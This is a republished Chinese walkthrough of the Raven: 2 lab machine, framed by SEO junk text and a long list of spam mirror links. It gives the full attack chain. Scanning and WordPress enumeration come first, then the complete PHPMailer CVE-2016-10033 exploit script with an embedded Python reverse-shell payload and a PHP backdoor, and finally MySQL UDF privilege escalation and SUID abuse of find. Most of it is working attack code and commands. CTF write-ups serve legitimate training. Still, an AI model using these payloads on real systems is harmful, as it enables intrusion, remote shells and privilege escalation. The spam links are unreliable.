家用机能否做网站服务器,怎么做繁体字网站,asp网站做搜索,梯子国外服务器文章目录 信息收集主机发现端口扫描目录扫描用户枚举 漏洞发现漏洞利用UDF脚本MySQL提权SUID提权 靶机文档#xff1a;Raven: 2 下载地址#xff1a;Download (Mirror) 信息收集
靶机MAC地址#xff1a;00:0C:29:15:7F:17
主机发现
sudo nmap -sn 192.168.8.0/24sudo arp… 文章目录 信息收集主机发现端口扫描目录扫描用户枚举 漏洞发现漏洞利用UDF脚本MySQL提权SUID提权 靶机文档Raven: 2 下载地址Download (Mirror) 信息收集
靶机MAC地址00:0C:29:15:7F:17
主机发现
sudo nmap -sn 192.168.8.0/24sudo arp-scan -l 端口扫描
sudo nmap --min-rate 10000 -p- 192.168.8.21# --min-rate 最小速度 # -p- 全端口扫描 1-65535sudo nmap -sU --min-rate 10000 -p- 192.168.8.21sudo nmap -sT -sV -O -p 22,80,111,42333,38970 192.168.8.21# -sT TCP扫描
# -sV 扫描版本信息
# -O 枚举操作系统信息sudo nmap --scriptvuln -p 22,80,111,42333,38970 192.168.8.21# 漏洞扫描发现有wordpress目录说明是wordpress的一个cms
访问vendor 上网查得知这是php发送邮件类phpMailer版本5.2.16
目录扫描
dirsearch -u 192.168.8.21用户枚举
枚举 WordPress 站点中注册过的用户名来制作用户名字典。
wpscan --url http://192.168.8.21/wordpress/ -e u 枚举出两个用户steven michael cewl密码字典制作
cewl http://192.168.8.21/wordpress/ -w password.txtwpscan --url http://192.168.8.21/wordpress/ -U user.txt -P password.txt # 调用相关的字典文件对网站进行爆破。wpscan爆破失败
尝试九头蛇爆破SSH也失败了
漏洞发现
https://www.exploit-db.com/exploits/40974
searchsploit phpmailer 可以看出该网站 phpmailer 5.2.16存在远程代码执行漏洞
漏洞利用
找出绝对 路径
searchsploit -m 40974.py修改exp脚本 #!/usr/bin/python
# -*- coding: utf-8 -*-
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033Description:
Exploiting PHPMail with back connection (reverse shell) from the targetUsage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp your ip
3 - Open other terminal and run the exploit: python3 anarcoder.pyVideo PoC: https://www.youtube.com/watch?vDXeZxKr-qsUFull Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system(clear)
print(\n)
print( █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ )
print(██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗)
print(███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝)
print(██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗)
print(██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║)
print(╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝)
print( PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com)
print( Version 1.0 - github.com/anarcoder - greetings opsxcq David Golunski\n)target http://192.168.8.21/contact.php
backdoor /shell.phppayload ?php system(\python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\192.168.8.8\\\,6868));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([\\\/bin/sh\\\,\\\-i\\\])\); ?
fields{action: submit,name: payload,email: anarcoder\\\ -OQueueDirectory/tmp -X/var/www/html/shell.php server\ protonmail.com,message: Pwned}m MultipartEncoder(fieldsfields,boundary----WebKitFormBoundaryzXJpHSq4mNy35tHe)headers{User-Agent: curl/7.47.0,Content-Type: m.content_type}proxies {http: localhost:8081, https:localhost:8081}print([] SeNdiNG eVIl SHeLL To TaRGeT....)
r requests.post(target, datam.to_string(),headersheaders)
print([] SPaWNiNG eVIL sHeLL..... bOOOOM :D)
r requests.get(targetbackdoor, headersheaders)
if r.status_code 200:print([] ExPLoITeD target)执行exp
python 40974.pykali监听6868端口
nc -lvp 6868浏览器访问生成的后门文件拿到shell 使用python拿到交互式shell
python -c import pty;pty.spawn(/bin/bash)查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php
发现数据库用户root密码Rv3nSecurity
先看一下数据库的版本select version();
得出版本为5.5.60-0deb8u1
UDF脚本
利用脚本
https://www.exploit-db.com/exploits/1518 searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc将1518.so 文件上传到/tmp 目录下 MySQL提权
create database saury;
use saury;
create table saury(line blob);
insert into saury values(load_file(/tmp/1518.so));
select * from saury into dumpfile /usr/lib/mysql/plugin/udf.so;
create function do_system returns integer soname udf.so;
select do_system(chmod us /usr/bin/find);此时/usr/bin/find 就具备了SUID 权限
SUID提权
find ./ -exec /bin/sh \; 文章转载自: http://www.morning.ptysj.cn.gov.cn.ptysj.cn http://www.morning.gtqws.cn.gov.cn.gtqws.cn http://www.morning.smsjx.cn.gov.cn.smsjx.cn http://www.morning.ltqtp.cn.gov.cn.ltqtp.cn http://www.morning.yfcbf.cn.gov.cn.yfcbf.cn http://www.morning.fydsr.cn.gov.cn.fydsr.cn http://www.morning.zhmgcreativeeducation.cn.gov.cn.zhmgcreativeeducation.cn http://www.morning.xbmwh.cn.gov.cn.xbmwh.cn http://www.morning.gqfjb.cn.gov.cn.gqfjb.cn http://www.morning.ghxsn.cn.gov.cn.ghxsn.cn http://www.morning.zcckq.cn.gov.cn.zcckq.cn http://www.morning.tknqr.cn.gov.cn.tknqr.cn http://www.morning.rbmm.cn.gov.cn.rbmm.cn http://www.morning.dmhs.cn.gov.cn.dmhs.cn http://www.morning.cjsrg.cn.gov.cn.cjsrg.cn http://www.morning.hypng.cn.gov.cn.hypng.cn http://www.morning.trrrm.cn.gov.cn.trrrm.cn http://www.morning.fnhxp.cn.gov.cn.fnhxp.cn http://www.morning.lrprj.cn.gov.cn.lrprj.cn http://www.morning.mfmx.cn.gov.cn.mfmx.cn http://www.morning.nqlkb.cn.gov.cn.nqlkb.cn http://www.morning.krxzl.cn.gov.cn.krxzl.cn http://www.morning.rwdbz.cn.gov.cn.rwdbz.cn http://www.morning.lfxcj.cn.gov.cn.lfxcj.cn http://www.morning.rswtz.cn.gov.cn.rswtz.cn http://www.morning.spwm.cn.gov.cn.spwm.cn http://www.morning.rqmqr.cn.gov.cn.rqmqr.cn http://www.morning.nwllb.cn.gov.cn.nwllb.cn http://www.morning.fpqq.cn.gov.cn.fpqq.cn http://www.morning.ddgl.com.cn.gov.cn.ddgl.com.cn http://www.morning.kzrbd.cn.gov.cn.kzrbd.cn http://www.morning.rrbhy.cn.gov.cn.rrbhy.cn http://www.morning.cpktd.cn.gov.cn.cpktd.cn http://www.morning.rwmq.cn.gov.cn.rwmq.cn http://www.morning.hysqx.cn.gov.cn.hysqx.cn http://www.morning.qlrwf.cn.gov.cn.qlrwf.cn http://www.morning.jrsgs.cn.gov.cn.jrsgs.cn http://www.morning.bwkhp.cn.gov.cn.bwkhp.cn http://www.morning.qwdlj.cn.gov.cn.qwdlj.cn http://www.morning.yqgbw.cn.gov.cn.yqgbw.cn http://www.morning.dtlnz.cn.gov.cn.dtlnz.cn http://www.morning.cwwts.cn.gov.cn.cwwts.cn http://www.morning.cxnyg.cn.gov.cn.cxnyg.cn http://www.morning.lqgtx.cn.gov.cn.lqgtx.cn http://www.morning.mhmsn.cn.gov.cn.mhmsn.cn http://www.morning.sfrw.cn.gov.cn.sfrw.cn http://www.morning.wdhlc.cn.gov.cn.wdhlc.cn http://www.morning.hmlpn.cn.gov.cn.hmlpn.cn http://www.morning.hrnrx.cn.gov.cn.hrnrx.cn http://www.morning.xirfr.cn.gov.cn.xirfr.cn http://www.morning.bbyqz.cn.gov.cn.bbyqz.cn http://www.morning.psxfg.cn.gov.cn.psxfg.cn http://www.morning.rhwty.cn.gov.cn.rhwty.cn http://www.morning.bfnbn.cn.gov.cn.bfnbn.cn http://www.morning.rcmwl.cn.gov.cn.rcmwl.cn http://www.morning.dwxqf.cn.gov.cn.dwxqf.cn http://www.morning.bwfsn.cn.gov.cn.bwfsn.cn http://www.morning.dnbkz.cn.gov.cn.dnbkz.cn http://www.morning.ssqrd.cn.gov.cn.ssqrd.cn http://www.morning.qtsks.cn.gov.cn.qtsks.cn http://www.morning.qztdz.cn.gov.cn.qztdz.cn http://www.morning.mxcgf.cn.gov.cn.mxcgf.cn http://www.morning.kbkcl.cn.gov.cn.kbkcl.cn http://www.morning.ttaes.cn.gov.cn.ttaes.cn http://www.morning.rwmft.cn.gov.cn.rwmft.cn http://www.morning.nmtyx.cn.gov.cn.nmtyx.cn http://www.morning.pmlgr.cn.gov.cn.pmlgr.cn http://www.morning.xmxbm.cn.gov.cn.xmxbm.cn http://www.morning.rkqzx.cn.gov.cn.rkqzx.cn http://www.morning.ghryk.cn.gov.cn.ghryk.cn http://www.morning.xjmyq.com.gov.cn.xjmyq.com http://www.morning.xqgtd.cn.gov.cn.xqgtd.cn http://www.morning.cyhlq.cn.gov.cn.cyhlq.cn http://www.morning.kehejia.com.gov.cn.kehejia.com http://www.morning.jrqw.cn.gov.cn.jrqw.cn http://www.morning.tqhpt.cn.gov.cn.tqhpt.cn http://www.morning.qgtbx.cn.gov.cn.qgtbx.cn http://www.morning.qwdqq.cn.gov.cn.qwdqq.cn http://www.morning.jcwrb.cn.gov.cn.jcwrb.cn http://www.morning.npfkw.cn.gov.cn.npfkw.cn